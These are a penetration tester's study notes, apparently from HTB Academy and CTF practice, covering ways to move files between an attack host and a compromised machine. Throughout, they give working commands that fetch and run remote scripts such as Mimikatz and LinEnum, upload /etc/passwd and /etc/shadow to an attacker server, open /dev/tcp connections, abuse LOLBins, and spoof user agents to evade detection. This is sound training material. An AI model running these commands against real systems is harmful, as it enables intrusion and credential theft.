File transfers between target and attacking machine
These notes are from my practice at work, during CTF and from HTB Academy Excellent tip from HTB Academy: Unless specifically requested by a client, we do not recommend exfiltrating data such as Personally Identifiable Information (PII), financial data (i.e., credit card numbers), trade secrets, etc., from a client environment. Instead, if attempting to test Data Loss Prevention (DLP) controls/egress filtering protections, create a file with dummy data that mimics the data that the client is trying to protect.
Verify file integrity
file shell
md5sum shell
and compare the result in the attacking machine and targetGet-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
in powershell
Method with no communications required
Encode the file in base64
Note: While this method is convenient, it's not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.
From Attack to target
Get the md5sum of the file (see command above)
Encode a file in bash
cat id_rsa |base64 -w 0;echo
Decode it in powershell
PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRU[STRIPPED]0tLQo="))
Decode it in bash (if the target is a linux machine)
echo -n 'LS0tLS1CRUdJTiBP[STREIPPED]FURSBLRVktLS0tLQo=' | base64 -d > id_rsa
Verify the integrity of the file with Get-FileHash on powershell (see command above)
From target to attack
Get the md5sum of the file (see command above)
Encode a file in Powershell
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
echo -n 'IyBDb3B5cml[STRIPPED]b3N0DQo=' | base64 -d > hosts
Decode Base64 String in LinuxVerify the integrity of the file with Get-FileHash on powershell (see command above)
PowerShell Web Downloads
Method | Description |
---|---|
Returns the data from a resource as a Stream. | |
Returns the data from a resource without blocking the calling thread. | |
Downloads data from a resource and returns a Byte array. | |
Downloads data from a resource and returns a Byte array without blocking the calling thread. | |
Downloads data from a resource to a local file. | |
Downloads data from a resource to a local file without blocking the calling thread. | |
Downloads a String from a resource and returns a String. | |
Downloads a String from a resource without blocking the calling thread. |
PowerShell DownloadString - Fileless Method
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Invoke-WebRequest
Slower
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
Use-UseBasicParsing
in case first launch config has not been completed in Internet Explorer.IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Bypass error SSL/TLS error.
PowerShell Web Uploads
PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.
Installing a Configured WebServer with Upload
On your attack machine
pip3 install uploadserver
python3 -m uploadserver
In your target
Powershell script to upload a file to Python Upload Server
Powershell Base64 Web Upload
On your attack machine
nc -lvnp 8000
We catch the base64 data with Netcatecho <base64> | base64 -d -w 0 > hosts
We use the base64 application with the decode option to convert the string to the file
PowerShell Session File Transfer
To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration
Example from HTB Academy
Test-NetConnection -ComputerName DATABASE01 -Port 5985
From DC01 - Confirm WinRM port TCP 5985 is Open on database01
Because this session already has privileges over DATABASE01, we don't need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.
$Session = New-PSSession -ComputerName DATABASE01
Create a PowerShell Remoting Session to DATABASE01Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy samplefile.txt from our Localhost to the DATABASE01 SessionCopy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
Copy DATABASE.txt from DATABASE01 Session to our localhost
HTTP/S
From attack machine to Target
Attacking machine
In kali we can use python
python3 -m http.server 80
orpython2.7 -m SimpleHTTPServer
if python2php -S 0.0.0.0:8000
with phpruby -run -ehttpd . -p8000
with ruby
Target machine
On a win target machine you can access it directly with the browser:
http://IP-ATTACKING-MACHINE/FILE-TO-GET
or you can use certutil.execertutil.exe -urlcache http://IP-ATTACKING-MACHINE/FILE-TO-GET file-to-get
In a linux target machine you can use
wget http://IP-ATTACKING-MACHINE/FILE-TO-GET
or curlcurl -o FILE-TO-GET http://IP-ATTACKING-MACHINE/FILE-TO-GET
If you want to execute the file but not download it on a linux taget
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
orwget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
With /dev/tcp
exec 3<>/dev/tcp/10.10.10.32/80
connect to the web serverecho -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
get the file with an http get requestprint the resposne
cat <&3
Both ways
Updog
Another great tool to transfer is updog, it goes both ways if you can access a browser :D :D :D
pip3 install updog
easy as this to install
uploadserver
From our attack machine
Get it here
python3 -m pip install --user uploadserver
start the web serveropenssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
create a self signed certificatemkdir https && cd https
start the webserverpython3 -m uploadserver 443 --server-certificate /root/server.pem
From our target
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
(insecure is for the self signed certificate)wget 192.168.49.128:8000/filetotransfer.txt
diwload a file from the target to our attack
Note: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file
Enable PUT - Nginx
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
Create a Directory to Handle Uploaded Filessudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
Change the Owner to www-dataCreate the nginx config file
/etc/nginx/sites-available/upload.conf
and put this in it
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
Symlink our Site to the sites-enabled Directorysudo systemctl restart nginx.service
Start NginxIn case of error we can check the logs to debug
We might need to remove nginx default config if port 80 is busy
sudo rm /etc/nginx/sites-enabled/default
Upload file with cURL
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
FTP
From attack machine to target
Attacking machine
sudo pip3 install pyftpdlib
python3 -m pyftpdlib -p 21 --write
this is as anonymouspython3 -m pyftpdlib -p 21 --write -u username -P password
we can specify a username and password
Target machine
ftp IP-OF-ATTACKING-MACHINE
we can then useget filename
to get the file(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')
with powershellCreate a Command File for the FTP Client and Download the Target File
From Target to attack
Attacking machine
python3 -m pyftpdlib -p 21 --write
Target machine
ftp IP-OF-ATTACKING-MACHINE
we can then useput filename
to send the filecurl --user anonymous:anonymous -o docker-toolbox.exe ftp://10.10.10.236/docker-toolbox.exe
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
with powershellCreate a Command File for the FTP Client to Upload a File
SMB
Both ways
Attacking machine
In kali we can use Impacket
python3 smbserver.py -smb2support sharename /path/folder
orsudo impacket-smbserver share -smb2support /tmp/smbshare
We can specify
-username user -password pass
if we need set up an authentication
Target machine
In a win victim machine we just need to copy the file to the attacking machine:
copy FiletoDownload \\IP-OF-ATTACKING-MACHINE\SHARENAME
If we want to get a file to our target from the attacking machine we just need to
copy \\192.168.220.133\share\nc.exe
Sometimes on windows we will be asked to use a service that requires authentication so we can set this up with
net use \\<network-location>\<some-share> password /USER:username
after this we will be able to use the previous copy command
run SMB over HTTP with WebDav
If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.
To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot
sudo pip install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Using the WebDav Python moduleConnect to the Webdav share
dir \\192.168.49.128\DavWWWRoot
Now we can attempt to connect to the share using the DavWWWRoot directory
Note: DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server. You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder
Upload file using smb
Metasploit
From attack machine to Target
There is an upload and download feature
SSH (creds needed)
From attack machine to Target (local to remote)
sudo systemctl start ssh
start ssh servicenetstat -lnpt
check ssh for listening portIn your kali or any linux
scp FILE-TO-SEND user@ip:/path/to/folder
Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.
From target to attack (remote to local)
In your kali or any linux cmd
scp user@ip:/path/to/folder FILE-TO-GET
Note
If you get this error
protocol error: filename does not match request
You will need to add
-T
in your command. Here is an example:scp -T user@server:C:\\Path\\To\\file.txt dest-folder
Netcat
From Target to attack machine
Target machine
nc -lvp PORT-NUMBER > FILE-TO-SEND
nc -l -p 8000 > SharpKatz.exe
works tooncat -l -p 8000 --recv-only > SharpKatz.exe
with ncat
Attacking machine
nc VICTIM-IP PORT-NUMBER -w 3 < FILE
note: -w is for the time out in secondsnc -q 0 192.168.49.128 8000 < SharpKatz.exe
-q 0 will tell nc to close the connection once it finishesncat --send-only 192.168.49.128 8000 < SharpKatz.exe
Attack to target
sudo nc -l -p 443 -q 0 < SharpKatz.exe
Attack Host - Sending File as Input to Netcatsudo ncat -l -p 443 --send-only < SharpKatz.exe
same with ncatnc 192.168.49.128 443 > SharpKatz.exe
Compromised Machine Connect to Netcat to Receive the Filencat 192.168.49.128 443 --recv-only > SharpKatz.exe
same with netcat
If we don't have Netcat or Ncat on our compromised machine, Bash supports read/write operations on a pseudo-device file /dev/TCP/. Writing to this particular file makes Bash open a TCP connection to host:port, and this feature may be used for file transfers.
with /dev/tcp
sudo nc -l -p 443 -q 0 < SharpKatz.exe
nc - Sending File as Input to ncsudo ncat -l -p 443 --send-only < SharpKatz.exe
same wit ncatcat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
Compromised Machine Connecting to Netcat Using /dev/tcp
RDP
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
Mounting a Linux Folder Using rdesktopxfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
Mounting a Linux Folder Using xfreerdpTo access the directory, we can connect to \tsclient, allowing us to transfer files to and from the RDP session
Alternatively, from Windows, the native mstsc.exe remote desktop client can be used
Transfering Files with code
Python
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
python 2python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
python 3
Upload operations
python3 -m uploadserver
Starting the Python uploadserver Modulepython3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
uploading a file
Here are more details about the onliner to upload a file
Good advice by HTB Acsademy: We can do the same with any other programming language. A good practice is picking one and trying to build an upload program.
PHP
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
PHP Download with File_get_contents()php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
PHP Download with Fopen()php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
PHP Download a File and Pipe it to Bash
Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.
Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
download a file
Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
Download a file
Javascript
On a win cmd
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
Download a File Using JavaScript and cscript.exe
Source: HTB Academy using this post
VBScript
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Download a File Using VBScript and cscript.exe
Source HTB Academy using this thread
Protected File Transfers
On Windows
Encrypt files with Invoke-AESEncryption.ps1
We can use any file transfer methods to get this file onto a target host. After the script has been transferred, it only needs to be imported as a module.
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption.ps1 -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
File Encryption example
On Linux
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
to encrypt /etc/passwd.openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
to decrypt
Living off The Land
LOLBAS - Example with CertReq
CertReq is an example but we could find other binaries as well for this purpose.
certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini
upload win.ini in our attack machine. This will send the file to our Netcat session, and we can copy-paste its contents.sudo nc -lvnp 80
with the listener from our attack machine we should receive the file.
GTFOBINS - Example with OpenSSL
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
Create Certificate in our attack machineopenssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
Stand up the Server in our attack machineopenssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
Download File from the Compromised Machine
Others Living off the Land tools
Bitsadmin
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
File Download with BitsadminImport-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"
DownloadStart-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
Upload
Certutil
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
Download a file
Detection, Evasion and Bypass of protections
Detection
User agents are not only used to identify web browsers, but anything acting as an HTTP client and connecting to a web server via HTTP can have a user agent string (i.e., cURL, a custom Python script, or common tools such as sqlmap, or Nmap).
Organizations can take some steps to identify potential user agent strings by first building a list of known legitimate user agent strings, user agents used by default operating system processes, common user agents used by update services such as Windows Update, and antivirus updates, etc. These can be fed into a SIEM tool used for threat hunting to filter out legitimate traffic and focus on anomalies that may indicate suspicious behavior. Any suspicious-looking user agent strings can then be further investigated to determine whether they were used to perform malicious actions.
Invoke-WebRequest
Client
Server
WinHttpRequest
Client
Server
Msxml2
Client
Server
Certutil
Client
Server
BITS
Client
Server
Evasion
base64
(See the section above about it)
In some cases, we may not be able to transfer a file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to base64 encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it. For example, if we wanted to transfer a binary file called shell, we can base64 encode it as follows:
base64 shell -w 0
Now, we can copy this base64 string, go to the remote host, and use base64 -d to decode it, and pipe the output into a file:
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ..lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
In a windows target we can do this:
Changing UserAgent
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
list out user agent in PowershellInvoke-WebRequest http://10.10.10.32/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe"
Request with Chrome User Agent from our target machinenc -lvnp 80
with our nc listener we then get our file in our attack machine
LOLBAS / GTFOBins
Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your presence. In this case, an option may be to use a "LOLBIN" (living off the land binary), alternatively also known as "misplaced trust binaries." An example LOLBIN is the Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe), installed on some systems and contains functionality to download configuration files periodically. This download functionality can be invoked as follows:
Transferring File with GfxDownloadWrapper.exe
GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
Resources
Last updated